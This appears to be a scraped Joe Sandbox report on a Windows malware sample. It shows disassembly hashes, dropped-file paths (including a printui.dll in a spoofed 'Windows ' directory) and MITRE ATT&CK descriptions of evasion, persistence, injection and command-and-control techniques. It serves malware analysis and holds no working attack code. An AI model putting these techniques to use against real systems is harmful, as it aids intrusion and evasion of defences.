Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 851d171cd28a33aadb92ebce3c595771e2ce9737388f0198247a6dbe2b6ab19b
Instruction ID: b99e11a6316d0448230eb75c665dd17718beceef0fb6c32023aa6a9d4bb3f6bc
Opcode Fuzzy Hash: 851d171cd28a33aadb92ebce3c595771e2ce9737388f0198247a6dbe2b6ab19b
Instruction Fuzzy Hash: 04317F727546408AE704CF39D55079963A5F785BECF188221CE298B398EB34C845CB50

Function 649423A0 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 649423EB
LeaveCriticalSection.KERNEL32 ref: 64942412

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 6c5c170412acd35b33d122e5247fcd1a708dcfef8aec11af2fc5c19ab33a7a5d
Instruction ID: f967bd8da5c0fc703b858b5675a139c0871c693ac84ec2db33bbd0f9f2198421
Opcode Fuzzy Hash: 6c5c170412acd35b33d122e5247fcd1a708dcfef8aec11af2fc5c19ab33a7a5d
Instruction Fuzzy Hash: 69314B727946008BD704CF39D84038977A5F785FACF588221DE29CA398EB35C596CB51

Function 64942170 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000120,00000000,00000068,00000000,?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89), ref: 6494219E
LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421B1
EnterCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421E5
LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421F6

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f15036db10595685eebc1814736d955a65ba432477aa49132a02940adeb30443
Instruction ID: 7a5ad15dbad42ca2a217f772ee4adc9c7e6a81657260e45da0a70067a48174a5
Opcode Fuzzy Hash: f15036db10595685eebc1814736d955a65ba432477aa49132a02940adeb30443
Instruction Fuzzy Hash: B8018F237582549EE716DB77EC00B5AA7A4B789FD8F448122EE0983B14EA38C1438B01

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 58VSNPxrI4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xodcmcc.wv1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cp1y2yw.c3d.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4usgmjep.cbr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fiiml03m.cmu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfskesqh.kjb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbj4jjgz.5r2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jirgaqoh.bt2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkrnqcof.t5m.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oga0p5cf.wbh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjijcwbg.juz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4f3wqyh.ok5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ye05kt0t.qem.ps1

C:\Windows \System32\printui.dll

Windows Analysis Report
58VSNPxrI4.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre